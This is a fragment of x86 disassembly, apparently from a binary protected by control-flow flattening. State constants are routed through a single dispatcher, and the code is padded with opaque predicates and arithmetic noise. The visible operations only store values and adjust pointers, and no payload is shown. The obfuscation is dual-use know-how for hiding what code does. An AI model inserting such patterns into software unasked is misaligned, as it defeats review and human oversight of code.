mov ecx, 0xbef9be39
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1001679b
mov eax, dword [ebp - 0xcc]
mov eax, dword [eax]
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x14c], 0xb5f45e09
jmp 0x1001679b
mov dword [ebp - 0x14c], 0xdef4027
jmp 0x1001679b
mov dl, byte [ebp - 0x3d]
mov eax, 0x1902392e
mov ecx, 0x579cd8d6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1001679b
mov eax, dword [ebp - 0xd4]
mov ecx, dword [eax]
add ecx, 0x9ddb7b99
add ecx, 8
sub ecx, 0x9ddb7b99
mov eax, dword [ebp - 0xc4]
mov dword [eax], ecx
mov eax, dword [0x10074b28]
mov ecx, dword [0x10074b24]
mov edx, eax
sub edx, 0xa31df820
sub edx, 1
add edx, 0xa31df820
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8716ed90
mov ecx, 0x667e0f8c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1001679b
mov dword [ebp - 0x14c], 0xf9196f7b
jmp 0x1001679b
mov ecx, dword [0x10074b28]
mov eax, dword [0x10074b24]
mov edx, ecx
add edx, 0x949acfb9
sub edx, 1
sub edx, 0x949acfb9
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x7db79b05
mov ecx, 0xee4efa07
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1001679b
mov eax, dword [ebp - 0x144]
movss xmm0, dword [0x100234cc]
movss dword [eax], xmm0
mov dword [ebp - 0x14c], 0xdfe6db4b
jmp 0x1001679b
mov eax, dword [ebp - 0x13c]
movss xmm0, dword [0x100234b0]
movss dword [eax], xmm0
mov dword [ebp - 0x14c], 0xcad81675
jmp 0x1001679b
mov eax, dword [ebp - 0x128]
movss xmm0, dword [0x10023430]
movss dword [eax], xmm0
mov dword [ebp - 0x14c], 0x57ba7825
jmp 0x1001679b
mov dword [ebp - 0x14c], 0xfc6d9e3b
jmp 0x1001679b
mov eax, dword [ebp - 0x118]
movss xmm0, dword [0x10023408]
movss dword [eax], xmm0
mov dword [ebp - 0x14c], 0x1037cdcc
jmp 0x1001679b
mov eax, dword [ebp - 0xd4]
mov ecx, dword [eax]
xor eax, eax
sub eax, 8
sub ecx, eax
mov eax, dword [ebp - 0xc4]
mov dword [eax], ecx
mov dword [ebp - 0x14c], 0x8b5cb028
jmp 0x1001679b
jmp 0x10008a40